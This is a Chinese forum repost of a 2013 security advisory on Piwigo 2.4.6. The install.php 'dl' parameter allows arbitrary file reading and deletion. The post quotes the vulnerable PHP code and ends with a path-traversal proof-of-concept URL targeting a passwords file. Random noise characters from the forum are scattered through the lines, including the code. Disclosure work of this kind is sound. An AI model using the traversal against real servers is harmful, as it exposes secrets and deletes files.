找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2300|回复: 0
打印 上一主题 下一主题

Piwigo任意文件泄露和任意文件删除漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-3-14 20:15:53 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
Piwigo是用PHP编写的相册脚本。: r/ j  j! A' {

) F8 F/ q5 }$ U1 ?Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值,在实现上存在安全漏洞,攻击者可利用这些漏洞查看受影响计算机上的任意文件,删除受影响应用上下文内的任意文件。% Y, E' l+ x$ M
====================================================================7 c7 f6 P+ d0 _. l% B) J
/install.php:3 I# R% m# {: L- j1 W
-------------
  q( m% z' x+ }113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
: o: N# n0 ?# N4 M4 G" {5 m, \8 l: {114: {3 H! [* j( \4 k& P+ `9 R0 [
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];5 f' G) Y# j1 D: P! _
116:   header('Cache-Control: no-cache, must-revalidate');
- Z6 r! Z4 R2 @+ I) K117:   header('Pragma: no-cache');, K0 h5 u. L" T
118:   header('Content-Disposition: attachment; filename="database.inc.php"');
  c* N/ [3 |( V! r7 q1 \: w119:   header('Content-Transfer-Encoding: binary');  [/ t) p  I- U7 n5 Q) ^. ^+ r
120:   header('Content-Length: '.filesize($filename));: Q8 q& j. s; ]" h- p% f. t2 w
121:   echo file_get_contents($filename);
/ N  Z% }  e7 }8 t+ F: D122:   unlink($filename);
0 v2 K7 ]% h2 M+ W7 D( ~123:   exit();6 x6 a. N7 [0 E7 y! l9 S
124: }% v% w4 W% _# I  q, X
====================================================================5 v$ R' Y8 R  R+ z

# l( I! }$ [, C8 rTested on: Microsoft Windows 7 Ultimate SP1 (EN)7 o( a# ?+ C! B. k
           Apache 2.4.2 (Win32)
9 Q1 T& M7 q. A$ a: ?% `$ k8 K6 M2 q           PHP 5.4.4
0 i+ i: I5 P9 t) D2 c+ h& S5 p           MySQL 5.5.25a6 J% b5 r0 ]( d" v9 p3 a
- R* Z9 G8 A/ L
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
+ U7 ^3 w6 ?8 |" P3 N1 `% o4 v                            @zeroscience2 A. g) u5 E* K2 \, ]/ k% V

$ B3 J3 g# \' aAdvisory ID: ZSL-2013-5127
7 H, I( K( o- l$ jAdvisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
* F5 I2 g  `+ z* N1 KVendor Patch: http://piwigo.org/bugs/view.php?id=2843% n& ^4 N, N% i! U9 R3 l
( j4 z5 e6 Z. H
15.02.2013- U% R: ~: t2 B) A
+ M( G2 P+ V8 P' T/ q) q
--/ Y* M* E9 @& c6 _8 r' Q
http://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
. e6 N' X, ?9 F
& E+ X  b: e/ J- A1 |& e
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表